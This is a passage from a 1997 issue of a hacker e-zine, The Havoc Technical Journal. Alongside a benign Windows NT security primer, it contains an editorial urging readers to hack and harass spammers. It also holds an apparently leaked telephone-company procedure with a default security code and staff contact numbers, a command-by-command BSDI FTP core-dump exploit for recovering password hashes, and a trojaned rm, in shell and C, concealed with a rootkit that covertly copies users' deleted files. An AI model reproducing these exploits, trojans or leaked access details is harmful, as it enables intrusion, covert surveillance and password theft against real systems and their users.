Power Hacker 2003

home *** CD-ROM | disk | FTP | other *** search

/ Power Hacker 2003 / Power_Hacker_2003.iso / E-zine / Magazines / thtj / thtj15.txt < prev next >

Wrap

Text File | 2002-05-27 | 214.4 KB | 5,892 lines

╒══════════════════════════════════════════════════════════════════╕ │the havoc technical journal - http://www.thtj.com - │▒ └──────────────────────────────────────────────────────────────────┘▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ vol. 2 no. 3 issue 15 │ October 1, 1997 │ a thtj communications publication ═────────────────────────────────────────────────────────────────────────────═ ╒══════════════════════════════════════╕ -│ the havoc technical journal issue 15 │- └──────────────────────────────────────┘ Editorial..............................Scud-O Windows NT Security Education Guide....NeonSurge Single Access Serving System (SASS)....anonymous BSDI FTP CORE DUMPS....................Bronc Buster Security/Monitoring Tools..............Shok Cryptanalytic Attacks..................The Messiah Shadow files explained.................Shypht SMTP server scanner....................memor About The Internet Protocol............Malhavoc ShokDial - a linux war dialer..........Shok Under The Hood of Blowfish.............The Messiah Learning to Count All Over Again.......Bronc Buster scan.c.................................memor Vuls in Solaris 2.5.1..................Shok Operating Systems......................Fucking Hostile Hacking your way to DOS................Devix A phreak's dream come true.............Kode9 Rat Shak Shopping Made Easy............N-TREEG Telephone Conferencing.................DataThief How To Make A Cattleprod...............The Messiah Securing Linux.........................KiDMaGiC Social Insurance Numbers...............Devix Stupid Unix Pranks.....................The Darkling Oddville, THTJ.........................Scud-O The News...............................KungFuFox ──────────────────────────────────────────────── ╒══════════════════════════════════════╕ │ the NEW thtj.com │ │ ──────── │ │ coming soon from thtj communications │ └──────────────────────────────────────┘ Shouts go out to all my people on the block: The writers. You're the ones that make thtj run, and it is you that help to keep the community informed. We owe you. Other Shouts out go to: All of #phreak, #hackers, #hackphreak, #carparts, #linuxos, #phrack, (you all know who you are) ═────────────────────────────────────────────────────────────────────────────═ ╒══════════════════════════════════════╕ │the havoc technical journal - contacts│ └──────────────────────────────────────┘ - Editor in Chief : Scud-O, scud@thtj.com - Assistant Editor : KungFuFox, mazer@cycat.com - Submissions Editor: Keystroke, keystroke@thepentagon.com - thtj email address: thtj@thtj.com - thtj website: http://www.thtj.com/ - thtj mailing address: PO BOX 448 Sykesville, MD 21784 The Havoc Technical Journal Vol. 2, No.3, October 1, 1997. A THTJ Communications publication. Contents Copyright (⌐) 1997 THTJ Communications. All Rights Reserved. No part of this publication may be reproduced in whole or in part without the expressed written consent of the Editor in Chief of The Havoc Technical Journal. [No copying THTJ, damnit.] The Havoc Technical Journal does in no way endorse the illicit use of computers, computer networks, and telecommunications networks, nor is it to be held liable for any adverse results of pursuing such activities. The articles provided in this magazine are without any expressed or implied warranties. While every effort has been taken to ensure the accuracy of the information contained in this article, the authors, editors, and contributors of this zine assume no responsibility for errors or omissions, or for damages resulting from the use of the information contained herein. For infomation about using articles published in THTJ, send mail to: e-mail: thtj@thtj.com │ mail: THTJ PO Box 448 Sykesville, MD 21784 NOTICE: If you are an official of a government or an employee of a government, you must register with THTJ before reading any issue of this publication. A registration form will be mailed to you free of charge by using either of the mailing addresses above. Upon reception of this form you will be granted privelege to read all issues of The Havoc Technical Journal. Until you have registered, you are not authorized to read this or any issues of THTJ. ═────────────────────────────────────────────────────────────────────────────═ Editorial by Scud-O The NEW thtj. Well, with all great plans, the 'new thtj' that was scheduled for thtj14 is a month late, and here it is. I hope you enjoy it. I personally think that this is the best issue yet. This month as some of you know, I was fairly intoxicated, and seriously looked into giving up thtj. However, thanks to all of you out there, the staff of thtj communications, HBS, #phreak, the writers, and the editors, it all came together, and so, here is thtj15, bigger, badder, and kicking more ass. This issue also marks a change that you may or may not have noticed. thtj is now produced by thtj communications, inc. Havoc Bell Systems no longer publishes thtj, since it seems that so many of you thought that you had to be in HBS to write for thtj. This is entirely false. Anyone and everyone is free to write for thtj. HBS is not dying, but we will hopefully be able to focus more on group stuff, and less about thtj deadlines now that thtj isn't officially in our hands.. The redesigned thtj.com site is about to be coming at you, with a lot of new things that will hopefully make your life easier, and *gasp* more complete. thtj.com is finally going to have a majordomo or two up, have some e-mail forwarders for instant, easy access to current thtj issues, and article submission information. The www site is also going to improve. A bunch of you have said that the site is fairly lynx friendly, but it needs work. Less graphics and more content are on their way, as are some new cgis, wwwboards, and redesigned pages for distribution as well as submissions. Last, but certainly not least, will be the new main page. I am adding site links and info up top, so that all of you can skip over my rantings in the message of the day section. I am also hoping to make a forum for everyone to discuss their issues or problems with the community, so if you would like to contribute to that, get a hold of me. Finally this month, before I am done, I would like to talk with you about some things that need to be done, and somethings I would like to see on thtj.com. I have found various sources on the net for helping to block and protect your site and your sendmail from spammers using your site as a transfer site for their e-mail, to protect their servers from the flames. I am going to be adding some code for this, and other security info for you, since if you have a system up, you are just as curious about setting up system security as you are breaking it up. The reason I bring this all up is that spam is a serious problem. Retards like the 'spam king' (who recently had his servers disconnected) think that we all like having e-mail telling us about stupid products. The fact that we all know is that no one wants this shit. If you own your own domain you know about all this. You get hundreds of spam letters offering 'web registering services' and all the trash. We need to stop this, and we would, or could, but losers like the aformentioned 'spam king' using many servers to redirect their mail, and not let you know who the mail is from, so you cannot ask him to stop. Securing your site with the code I talked about is a step, but go beyond that. Spammers have ruined parts of the net, but not all of it. Take action, strike back, hack them, harrass them, spam them, make them learn to go fuck themselves. Well, thank you for the time it took you to read may rants. Scud-O , Founder, and Editor in Chief of THTJ ═────────────────────────────────────────═ Scud-O and HBS would like to hear your views on this commentary. Please feel free to e-mail us at: scud@thtj.com ---------------------------------------------- / ---/ --/ / / | /------/ / / /--- /-----/------/-----/ / / / /----------/ /--------/ -of HAVOC Bell Systems- scud@thtj.com │ http://www.thtj.com ═────────────────────────────────────────────────────────────────────────────═ The Windows NT Security Education Guide (SEG) Part One by NeonSurge of Shatter (neonsurge@hotmail.com) NT Security components and subsystem The Logon Process WinLogon Users must log on to a Windows NT machine in order to use that NT based machine or network. The logon process itself cannot be bypassed, it is mandatory. Once the user has logged on, an access token is created (this token will be discussed in more detail later). This token contains user specific security information, such as: security identifier, group identifiers, user rights and permissions. The user, as well as all processes spawned by the user are identified to the system with this token. The first step in the WinLogon process is something we are all familiar with, CTRL+ALT+DEL. This is NT's default Security Attention Sequence (SAS - The SAS key combo can be changed. We will also discuss that later.). This SAS is a signal to the operating system that someone is trying to logon. After the SAS is triggered, all user mode applications pause until the security operation completes or is cancelled. (Note: The SAS is not just a logon operation, this same key combination can be used for logging on, logging off, changing a password or locking the workstation.) The pausing, or closing, of all user mode applications during SAS is a security feature that most people take for granted and dont understand. Due to this pausing of applications, logon related trojan viruses are stopped, keyloggers (programs that run in memory, keeping track of keystrokes, therefor recording someones password) are stopped as well. The user name is not case sensitive but the password is. After typing in your information and clicking OK (or pressing enter), the WinLogon process supplies the information to the security subsystem, which in turn compares the information to the Security Accounts Manager (SAM). If the information is compliant with the information in the SAM, an access token is created for the user. The WinLogon takes the access token and passes it onto the Win32 subsytem, which in turn starts the operating systems shell. The shell, as well as all other spawned processes will receive a token. This token is not only used for security, but also allows NTs auditing and logging features to track user usage and access of network resources. Note: All of the logon components are located in a file known as the Graphical Indetification and Authentication (GINA) module, specifically MSGINA.DLL. Under certain conditions, this file can be replaced, which is how you would change the SAS key combination. For fine tuning of the WinLogon process, you can refer to the registry. All of the options for the WinLogon process are contained in the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon area. You can also fine tune the process by using the Policy Editor. Logging on to a Domain If an NT machine is a participant on a Domain, you would not only need to login to the local machine, but the Domain as well. If a computer is a member of a Domain, the WinLogon process is replaced by the NetLogon process. Components Local Security Authority (LSA): Also known as the security subsystem, it is the central portion of NT security. It handles local security policies and user authentication. The LSA also handles generating and logging audit messages. Security Accounts Manager (SAM): The SAM handles user and group accounts, and provides user authentication for the LSA. Security Reference Monitor (SRM): The SRM is in charge of enforcing and assuring access validation and auditing for the LSA. It references user account information as the user attempts to access resources. TCP/IP Security in NT Note: This section is not meant to teach you the concepts behind the TCP/IP protocol. It is assumed that a working knowledge of TCP/IP can be applied. Windows NT has a built in TCP/IP security functionality that most people do not use or know about. This functionality enables you to control the types of network traffic that can reach your NT servers. Access can be allowed or denied based on specific TCP ports, UDP ports, and IP protocols. This type of security is normally applied to servers connected directly to the internet, which is not recommended. Do configure NT's built in TCP/IP security, follow these steps: 1 - Right click on Network Neighborhood and goto the properties option. 2 - Select the Protocols tab, highlight TCP/IP and click on Properties. 3 - Select the IP address tab of the TCP/IP properties screen. 4 - Check the check box that reads "Enable Security". 5 - Click on Configure You should now be looking at the TCP/IP Security dialog, which has the following options: -Adapter: Specifies which of the installed network adapter cards you are configuring -TCP Ports -UDP Ports -IP Protocols Within these settings, you would choose which ports and what access permissions you would like to assign to those ports. The following list is a list of the well known TCP/IP ports. This is not an in depth guide, just a quick reference (For more details, check RFC 1060). Service Port Comments TCP Ports echo 7/tcp discard 9/tcp sink null systat 11/tcp users daytime 13/tcp netstat 15/tcp qotd 17/tcp quote chargen 19/tcp ttytst source ftp-data 20/tcp ftp 21/tcp telnet 23/tcp smtp 25/tcp mail time 37/tcp timserver name 42/tcp nameserver whois 43/tcp nicname nameserver 53/tcp domain apts 57/tcp any private terminal service apfs 59/tcp any private file service rje 77/tcp netrjs finger 79/tcp http 80/tcp link 87/tcp ttylink supdup 95/tcp newacct 100/tcp [unauthorized use] hostnames 101/tcp hostname iso-tsap 102/tcp tsap x400 103/tcp x400-snd 104/tcp csnet-ns 105/tcp CSNET Name Service pop-2 109/tcp pop postoffice sunrpc 111/tcp auth 113/tcp authentication sftp 115/tcp uucp-path 117/tcp nntp 119/tcp usenet readnews untp ntp 123/tcp network time protocol statsrv 133/tcp profile 136/tcp NeWS 144/tcp news print-srv 170/tcp exec 512/tcp remote process execution; authentication performed using passwords and UNIX loppgin names login 513/tcp remote login a la telnet; automatic authentication performed based on priviledged port numbers and distributed data bases which identify "authentication domains" cmd 514/tcp like exec, but automatic authentication is performed as for login server printer 515/tcp spooler efs 520/tcp extended file name server tempo 526/tcp newdate courier 530/tcp rpc conference 531/tcp chat netnews 532/tcp readnews uucp 540/tcp uucpd klogin 543/tcp kshell 544/tcp krcmd dsf 555/tcp remotefs 556/tcp rfs server chshell 562/tcp chcmd meter 570/tcp demon pcserver 600/tcp Sun IPC server nqs 607/tcp nqs mdqs 666/tcp rfile 750/tcp pump 751/tcp qrh 752/tcp rrh 753/tcp tell 754/tcp send nlogin 758/tcp con 759/tcp ns 760/tcp rxe 761/tcp quotad 762/tcp cycleserv 763/tcp omserv 764/tcp webster 765/tcp phonebook 767/tcp phone vid 769/tcp rtip 771/tcp cycleserv2 772/tcp submit 773/tcp rpasswd 774/tcp entomb 775/tcp wpages 776/tcp wpgs 780/tcp mdbs 800/tcp device 801/tcp maitrd 997/tcp busboy 998/tcp garcon 999/tcp blackjack 1025/tcp network blackjack bbn-mmc 1347/tcp multi media conferencing bbn-mmx 1348/tcp multi media conferencing orasrv 1525/tcp oracle ingreslock 1524/tcp issd 1600/tcp nkd 1650/tcp dc 2001/tcp mailbox 2004/tcp berknet 2005/tcp invokator 2006/tcp dectalk 2007/tcp conf 2008/tcp news 2009/tcp search 2010/tcp raid-cc 2011/tcp raid ttyinfo 2012/tcp raid-am 2013/tcp troff 2014/tcp cypress 2015/tcp cypress-stat 2017/tcp terminaldb 2018/tcp whosockami 2019/tcp servexec 2021/tcp down 2022/tcp ellpack 2025/tcp shadowserver 2027/tcp submitserver 2028/tcp device2 2030/tcp blackboard 2032/tcp glogger 2033/tcp scoremgr 2034/tcp imsldoc 2035/tcp objectmanager 2038/tcp lam 2040/tcp interbase 2041/tcp isis 2042/tcp rimsl 2044/tcp dls 2047/tcp dls-monitor 2048/tcp shilp 2049/tcp NSWS 3049/tcp rfa 4672/tcp remote file access server complexmain 5000/tcp complexlink 5001/tcp padl2sim 5236/tcp man 9535/tcp UDP Ports echo 7/udp discard 9/udp sink null systat 11/udp users daytime 13/udp netstat 15/udp qotd 17/udp quote chargen 19/udp ttytst source time 37/udp timserver rlp 39/udp resource name 42/udp nameserver whois 43/udp nicname nameserver 53/udp domain bootps 67/udp bootp bootpc 68/udp tftp 69/udp sunrpc 111/udp erpc 121/udp ntp 123/udp statsrv 133/udp profile 136/udp snmp 161/udp snmp-trap 162/udp at-rtmp 201/udp at-nbp 202/udp at-3 203/udp at-echo 204/udp at-5 205/udp at-zis 206/udp at-7 207/udp at-8 208/udp biff 512/udp used by mail system to notify users of new mail received; currently receives messages only from processes on the same machine who 513/udp maintains data bases showing who's logged in to machines on a local net and the load average of the machine syslog 514/udp talk 517/udp like tenex link, but across machine - unfortunately, doesn't use link protocol (this is actually just a rendezvous port from which a tcp connection is established) ntalk 518/udp utime 519/udp unixtime router 520/udp local routing process (on site); uses variant of Xerox NS routing information protocol timed 525/udp timeserver netwall 533/udp for emergency broadcasts new-rwho 550/udp new-who rmonitor 560/udp rmonitord monitor 561/udp meter 571/udp udemon elcsd 704/udp errlog copy/server daemon loadav 750/udp vid 769/udp cadlock 770/udp notify 773/udp acmaint_dbd 774/udp acmaint_trnsd 775/udp wpages 776/udp puparp 998/udp applix 999/udp Applix ac puprouter 999/udp cadlock 1000/udp hermes 1248/udp wizard 2001/udp curry globe 2002/udp emce 2004/udp CCWS mm conf oracle 2005/udp raid-cc 2006/udp raid raid-am 2007/udp terminaldb 2008/udp whosockami 2009/udp pipe_server 2010/udp servserv 2011/udp raid-ac 2012/udp raid-cd 2013/udp raid-sf 2014/udp raid-cs 2015/udp bootserver 2016/udp bootclient 2017/udp rellpack 2018/udp about 2019/udp xinupagesrver 2020/udp xinuexpnsion1 2021/udp xinuexpnsion2 2022/udp xinuexpnsion3 2023/udp xinuexpnsion4 2024/udp xribs 2025/udp scrabble 2026/udp isis 2042/udp isis-bcast 2043/udp rimsl 2044/udp cdfunc 2045/udp sdfunc 2046/udp dls 2047/udp shilp 2049/udp rmontor_scure 5145/udp xdsxdm 6558/udp isode-dua 17007/udp The Nbtstat Command This tool should be known, because it can give you tons of info about an NT server. It can be used to query the network concerning netbios information. It can also be useful for purging the netbios cache and reloading the LMHOSTS file. This one command can be extremely useful when performing security audits. When one knows how to interpret the information, it can reveal more than one might think. Usage: nbtstat [-a RemoteName] [-A IP_address] [-c] [-n] [-R] [-r] [-S] [-s] [interval] Switches -a Lists the remote computer's name table given its host name. -A Lists the remote computer's name table given its IP address. -c Lists the remote name cache including the IP addresses. Lists the remote name cache including the IP addresses Lists local NetBIOS names. Lists names resolved by broadcast and via WINS Purges and reloads the remote cache name table Lists sessions table with the destination IP addresses. Lists sessions table converting destination IP addresses to host names via the hosts file. -n Lists local NetBIOS names. -r Lists names resolved by broadcast and via WINS. -R Purges and reloads the remote cache name table. -S Lists sessions table with the destination IP addresses. -s Lists sessions table converting destination IP addresses to host names via the hosts file. interval This will redisplay the selected statistics, pausing for the number of seconds you choose as "interval" between each listing. Press CTRL+C to stop. Notes on NBTSTAT The column headings generated by NBTSTAT have the following meanings: Input Number of bytes received. Output Number of bytes sent. In/Out Whether the connection is from the computer (outbound) or from another system to the local computer (inbound). Life The remaining time that a name table cache entry will "live" before your computer purges it. Local Name The local NetBIOS name given to the connection. Remote Host The name or IP address of the remote host. Type A name can have one of two types: unique or group. The last byte of the 16 character NetBIOS name often means something because the same name can be present multiple times on the same computer. This shows the last byte of the name converted into hex. State Your NetBIOS connections will be shown in one of the following "states": State Meaning Accepting An incoming connection is in process. Associated The endpoint for a connection has been created and your computer has ssociated it with an IP address. Connected This is a good state! It means you're connected to the remote resource. Connecting Your session is trying to resolve the name-to-IP address mapping of the destination resource. Disconnected Your computer requested a disconnect, and it is waiting for the remote computer to do so. Disconnecting Your connection is ending. Idle The remote computer has been opened in the current session, but is currently not accepting connections. Inbound An inbound session is trying to connect. Listening The remote computer is available. Outbound Your session is creating the TCP connection. Reconnecting If your connection failed on the first attempt, it will display this state as it tries to reconnect. 16th Byte character Values for NetBios names <00> Workstation service name <03> Messenger service name <1B> Domain Master Browser name <06> RAS Server service <1F> NetDDE service <20> Server service name <21> RAS Client <BE> Network monitor agent <BF> Network monitor utility <1C> Domain group name <1D> Master browser name <1E> Normal group name _MSBROWSE_ Domain master browser The messenger service name <03> will give you the name of any users currently logged onto that machine, including the administrator account name. Thats about it for part one. Look out for future releases. Question or Comments to NeonSurge@hotmail.com ═────────────────────────────────────────────────────────────────────────────═ Single Access Serving System (SASS) (anonymous) PROCESS DOCUMENTATION Santa Ana, April 8, 1997 SUBJECT Single Access Serving System (SASS). REASON FOR ISSUANCE This document will provide an EM Communication Technician with installation procedures for the Single Access Serving System (SASS) SWITCH TYPES AFFECTED 5ESS, DMS100 and 1AESS GENERIC/BCS REQUIRED None WORK FUNCTIONS AFFECTED Local Field Operations (LFO) EM Communication Technicians EFFECTIVE / CRITICAL DATES Effective immediately. TRACKING CODE Baseline QUESTIONS Questions regarding this document may be directed to Michele Baker at (714) 430-6640 GENERAL INFORMATION SASS is a transmission conditioning unit, a printed wiring card that employs a microprocessor control of test functions and provides voice prompting. The card is installed in an MFT bay and connected to the switch through an outgoing trunk. A dedicated POTS line is required for the ringback feature. This Single Serving Access System will allow both outside field technicians as well as LFO technicians the ability to perform multiple test functions using one access number. The Unit Test Features are: - ANI - Single Tone Generation - Three Tone slope - Ten Tone Slope - Full Tone Sweep - Caller ID Transmission - Data Sweep - Quiet Termination - Keypad Test CENTRAL OFFICE (CO) REQUIREMENTS 1. An MFT slot 2. An outgoing trunk OR A D4 port equipped with a DPT Channel Unit. 3. A new Trunk Group assignment will be established 4. The SASS Access Number wil need to be route indexed to the trunk or port assigned. 5. Assignment and cross connect to a POTS line for ringback capabilities. CENTRAL OFFICE (CO) PROCESS (1) Wiring the Circuit 1. You will receive two service orders for your SASS circuit. One for the design itself (se word) and one for the POTS line (1ML) associated with it. The POTS order will consist of only an OE assignment used for ringback capabilities. NOTE 1) The design portion of your order will resemble a DID circuit. NOTE 2) Every effort will be made to use a digital trunk assignment, however, if none are available, an analog trunk will be used in its place. NOTE 3) Make sure the channel unit used in the circuit is a D4CD200 (terminating). CENTRAL OFFICE (CO) PROCESS (2) Installing and Optioning The Channel Unit Install the SASS Unit into the designated MFT slot. Once the plug-in has been installed it should be optioned according to the manufacturers instructions on the card. CENTRAL OFFICE (CO) PROCESS (3) Initial Power-Up Verification Once the SASS unit is installed and optioned the Initial Power-up verification must be performed at the unit itself. CENTRAL OFFICE (CO) PROCESS (4) Procedure for Setting Transmission Levels Once the SASS unit has passed the Initial Power-up verification the Transmission Levels must be set for the unit. The following is the procedure for setting transmission levels on a newly installed SASS Unit. This function must be performed at the mainframe to any pair assigned to an OE in the respective switch in which the SASS unit was installed. The pair must be open and the reading taken toward the line card. STEP ACTION 1 At the mainframe, remove the coils from any working pair assigned to an OE in the respective switch. 2 Draw dial tone on the OE side of the open and dial the SASS access number. 3 Enter the SASS Security Code after the number announcement. The default Security Code is 222-2222. 4 Press 3 to Read or Change Prefixes 5 Press 5 to Generate Test Tone. 6 Enter * to Generate System Tone 7 Measure Tone with a transmission measurement test set. Should measure a level of 0dbBRNC. NOTE 1) Adjustments may be made by; entering a 6 to increase level by 0.1 dB each time the 6 is depressed, or entering 7 to decrease the level by 0.1 dB each time the 7 is depressed. 8 When you have completed setting the db levels, hangup to terminate the call. 9 A test must be performed on least three (3) prefixes to determine whether the db levels were set correctly in all prefixes.. A deviation of + or -1/2 db is acceptable. If tests reveal any variance greater than + or -1/2 db, you must repeat the procedure for Setting Tranmission Levels for every prefix. CENTRAL OFFICE (CO) PROCESS (5) Testing The Newly Installed SASS Unit When the SASS installation is complete, call the Test System Health Group to test the newly installed unit. They will in turn close the order out with OCS. CENTRAL OFFICE (CO) PROCESS (6) Troubleshooting A Newly Installed SASS Unit When the SASS installation is complete, the Initial Power-up verification has been performed, the transmission levels have been set and your circuit is still not turned up, try the following troubleshooting procedures. CENTRAL OFFICE (CO) PROCESS (7) Who To Call When You Have Questons Concerning: Closing out your order Test System Health Group SASS Project SASS Project Team Word order asignments FACS Administrator Spares PICS Test coordination Test System Health Group Translations NTG This document PP&STM Trunk Assignments NTG CONTACT NUMBERS NTG - South Trouble Desk (619) 886-1988 - North Trouble Desk (916) xxx-xxxx PADS - South (619) 886-1988 - North (916) xxx-xxxx PICS - (not provided) Process, Product & System Technical Management (PP&STM) - Michele Baker Voice/Voice mail (714) 430-6640 Pager Number (714) 755-8424 Test System Health Group - (Statewide) Voice (800) 694-4732 SASS Project Team - Bruce Poole Voice/Voice mail (209) 454-3197 Pager Number (510) 904-7574 REFERENCES Harris Dracon Division Single Access Serving System (SASS) Transmission Condititoning Unit Model 24800-300 Service Manual 011-724800-300 (Issue 3 2/94) Harris (Addendum) Dracon Division SASS Transmission Condititoning Unit Model 24800-300 Service Manual 011-724209-001 (Issue 5 6/96) Questions? At what point will I know that translations are typed in. At what point does the ntec ask the ess to idle trunk? Before setting levels. ═────────────────────────────────────────────────────────────────────────────═ BSDI FTP CORE DUMPS by Bronc Buster (www.showdown.org) (bbuster@succeed.net) It was over a year ago that I first reported my findings to BugTraqs, BSDI, and CERT about the potential security holes with BSDs core dumping problems. On the day of 3 Sept 97 BSDI finaly released a patch for this hole, but as most of you know, most SysAdmins don't keep track of patchs and their release dates because everyone alawys thinks they are immune to attack. This hole uses the massive built in feature on BSD systems that they use to make their Unix version more stable and less prevy to crashing, Core Dumps. By useing this function to force a core dump after accessing the password file you will be able to retreve encrypted passwords from the core dump. This only works on BSDI BSD/OS 2.X and NOT BSD 3.X. How it works: you FTP in as a legit user, then stop the process and then kill it forcing a core dump. By forcing the dump after the FTP program (wu ftpd 2.4 used) has accessed the password file it will dump the stack and all the information in it to a core dump file owned by that user in the present working directory. I think the commands for this exploit are very easy to understand and are self explaintory. main: {1} % ftp succeed.net // FTP to localhost Connected to succeed.net. 220 main.succeed.net FTP server (Version wu-2.4(2) Tue Jan 7 08:37:31 EST 1997) ready. Name (succeed.net:bbuster): bbuster // Login as a user 331 Password required for bbuster. Password: 230 User bbuster logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp> ^Z // Control Z and suspend it Suspended main: {2} % ps // Find PID number of FTP PID TT STAT TIME COMMAND 23875 p2 Is 0:00.13 -csh (csh) 23967 p2 S+ 0:00.03 telnet localhost 23969 p3 Ss 0:00.10 -csh (csh) 23978 p3 T 0:00.02 ftp succeed.net 23989 p3 R+ 0:00.01 ps main: {3} % kill -11 23978 // Kill -11 the FTP process main: {4} % fg // Call FTP back to Foreground ftp succeed.net Segmentation fault (core dumped) // Dump the core main: {5} % strings ftp.core > test // Stings it to a file for reading main: {6} % cat test // Get the passwords That's it. This is not the only problem with BSDI BSD/OS systems and their core dumps, there was the well known write tty core dump which essentialy did the same thing as this exploit does, but it was patched much faster. Over all BDSI BSD/OS, all versions, are one of the most secure Unix systems on the market today and when an exploit is found for it we must treat it like gold as BSDI is usualy very fast is fixing them. Bronc Buster!!! [EOF] ═────────────────────────────────────────────────────────────────────────────═ Security/Monitoring tools by Shok (shok@sekurity.org) Okay, well........welcome to this thing......by Shok. What I plan for this to be, is some various utilities that you might think as of use and what not. This is mainly a few security tips that I like to use. First off, edit your /etc/profile, and add the line: export HISTFILE=/tmp/hist/`whoami` and then do: mkdir /tmp/hist;chmud 1777 /tmp/hist You now want to hide that file, so the users don't see the dir (it can be seen with set but not too many people check :) and you hide it with the rootkit's ls. Another few things I like to do. I made a trojaned 'rm' that basically calls /bin/rm.bak which is hidden (via rootkit ls), and it copies the file they are trying to delete to /tmp/fill (which is also hidden via rootkit ls). There are two versions of this....I wrote the first one in shell script, but do to the fact it has to be a+r, I wrote it in C afterwords. Here is the rm.sh: #!/bin/sh # rm.sh -- rm "trojan" by (--==+*~Shok~*+==--) # # Email: shok@sekurity.org if [ $# > 1 ] then case $1 in -i) shift cp -f $* /tmp/fill &>/dev/null doexec /bin/rm.bak rm -i $* ;; --interactive) shift cp -f $* /tmp/fill &>/dev/null doexec /bin/rm.bak rm -i $* ;; -f) shift cp -f $* /tmp/fill &>/dev/null /bin/rm.bak -f $* ;; --force) shift cp -f $* /tmp/fill &>/dev/null /bin/rm.bak -f $* ;; -d) shift cp $1/* /tmp/fill &>/dev/null /bin/rm.bak -d $* ;; --directory) shift cp $1/* /tmp/fill &>/dev/null /bin/rm.bak -d $* ;; -v) shift cp -f $* /tmp/fill &>/dev/null /bin/rm.bak -v $* ;; --verbose) shift cp -f $* /tmp/fill &>/dev/null /bin/rm.bak -v $* ;; -r) shift cp -f $1/* /tmp/fill &>/dev/null /bin/rm.bak -R $* ;; -R) shift cp -f $1/* /tmp/fill &>/dev/null /bin/rm.bak -R $* ;; --recursive) shift cp -f $1/* /tmp/fill &>/dev/null /bin/rm.bak -R $* ;; -ri) shift cp -f $1/* /tmp/fill &>/dev/null /bin/rm.bak -ri $* ;; -Ri) shift cp -f $1/* /tmp/fill &>/dev/null /bin/rm.bak -ri $* ;; -rf) shift cp -f $1/* /tmp/fill &>/dev/null cp -f $1 /tmp/fill &>/dev/null /bin/rm.bak -rf $* ;; -Rf) shift cp -f $1/* /tmp/fill &>/dev/null cp -f $1 /tmp/fill &>/dev/null /bin/rm.bak -rf $* ;; -rd) shift cp -f $1/* /tmp/fill &>/dev/null /bin/rm.bak -rd $* ;; -Rd) shift cp -f $1/* /tmp/fill &>/dev/null /bin/rm.bak -rd $* ;; -Rv) shift cp -f $1/* /tmp/fill &>/dev/null /bin/rm.bak -rv $* ;; -rv) shift cp -f $1/* /tmp/fill &>/dev/null /bin/rm.bak -rv $* ;; -fv) shift cp -f $1 /tmp/fill &>/dev/null /bin/rm.bak -fv $* ;; -Rfv) shift cp -f $1/* /tmp/fill &>/dev/null cp -f $1 /tmp/fill &>/dev/null /bin/rm.bak -rfv $* ;; -rfv) shift cp -f $1/* /tmp/fill &>/dev/null cp -f $1 /tmp/fill &>/dev/null /bin/rm.bak -rfv $* ;; *) cp -f $* /tmp/fill &>/dev/null /bin/rm.bak $* ;; esac else IT=$1 cp -f $IT /tmp/fill /bin/rm.bak $IT fi #---------------------------------------------------- You may have to change the line: doexec /bin/rm.bak -i $* to: /bin/rm.bak -i $* if you do not have doexec which is on linux (or redhat anyway) Now for rm.c: /* ------------------------------------------------------ */ /* rm.c -- rm "trojan" by (--==+*~Shok~*+==--) */ /* ------------------------------------------------------ */ /* Email: shok@sekurity.org */ #include <sys/stat.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> void main(int argc, char **argv) { struct stat filestats; int i; if (argc > 2) { if (strcmp("-i", argv[1])==0) goto interactive; if (strcmp("-f", argv[1])==0) goto force; if (strcmp("-v", argv[1])==0) goto verbose; if (strcmp("-r", argv[1])==0) goto recursive; if (strcmp("-rf", argv[1])==0) goto rf; if (strcmp("-ri", argv[1])==0) goto ri; if (strcmp("-rv", argv[1])==0) goto rv; if (strcmp("-rvf", argv[1])==0) goto rfv; if (strcmp("-rfv", argv[1])==0) goto rfv; if (strcmp("-Rvf", argv[1])==0) goto rfv; if (strcmp("-Rfv", argv[1])==0) goto rfv; if (strcmp("-frv", argv[1])==0) goto rfv; if (strcmp("-fvr", argv[1])==0) goto rfv; if (strcmp("-fRv", argv[1])==0) goto rfv; if (strcmp("-fvR", argv[1])==0) goto rfv; if (strcmp("-vfr", argv[1])==0) goto rfv; if (strcmp("-vrf", argv[1])==0) goto rfv; if (strcmp("-vfR", argv[1])==0) goto rfv; if (strcmp("-vRf", argv[1])==0) goto rfv; if (strcmp("-fr", argv[1])==0) goto rf; if (strcmp("-ir", argv[1])==0) goto ri; if (strcmp("-vr", argv[1])==0) goto rv; if (strcmp("--interactive", argv[1])==0) goto interactive; if (strcmp("--force", argv[1])==0) goto force; if (strcmp("--verbose", argv[1])==0) goto verbose; if (strcmp("--recursive", argv[1])==0) goto recursive; } else { setenv("PROGRAM", argv[1], 1); system("cp -f $PROGRAM /tmp/fill &>/dev/null"); system("/bin/rm.bak $PROGRAM"); unsetenv("PROGRAM"); } interactive: lstat(argv[2], &filestats); for (i=2;i<argc;i++) { if (S_ISDIR(filestats.st_mode)) { setenv("PROGRAM", argv[i], 2); system("cp -f $PROGRAM/* /tmp/fill &>/dev/null"); unsetenv("PROGRAM"); execl("/bin/rm.bak","rm","-i",argv[2],NULL); } else { setenv("PROGRAM", argv[2], 1); system("cp -f $PROGRAM /tmp/fill &>/dev/null"); unsetenv("PROGRAM"); execl("/bin/rm.bak","rm","-i",argv[2],NULL); } } force: for (i=2;i<argc;i++) { setenv("PROGRAM", argv[i], 1); system("cp -f $PROGRAM /tmp/fill &>/dev/null"); execl("/bin/rm.bak","rm","-f",argv[i],NULL); unsetenv("PROGRAM"); } verbose: for (i=2;i<argc;i++) { setenv("PROGRAM", argv[i], 1); system("cp -f $PROGRAM /tmp/fill &>/dev/null"); execl("/bin/rm.bak","rm","-v",argv[i],NULL); unsetenv("PROGRAM"); } recursive: for (i=2;i<argc;i++) { setenv("PROGRAM", argv[i], 1); system("cp -f $PROGRAM /tmp/fill &>/dev/null"); execl("/bin/rm.bak","rm","-r",argv[i],NULL); unsetenv("PROGRAM"); } rf: for (i=2;i<argc;i++) { lstat(argv[i], &filestats); if (S_ISDIR(filestats.st_mode)) { setenv("PROGRAM", argv[i], 1); system("cp -f $PROGRAM/* /tmp/fill &>/dev/null"); unsetenv("PROGRAM"); execl("/bin/rm.bak","rm","-rf",argv[i],NULL); } else { setenv("PROGRAM", argv[i], 1); system("cp -f $PROGRAM /tmp/fill 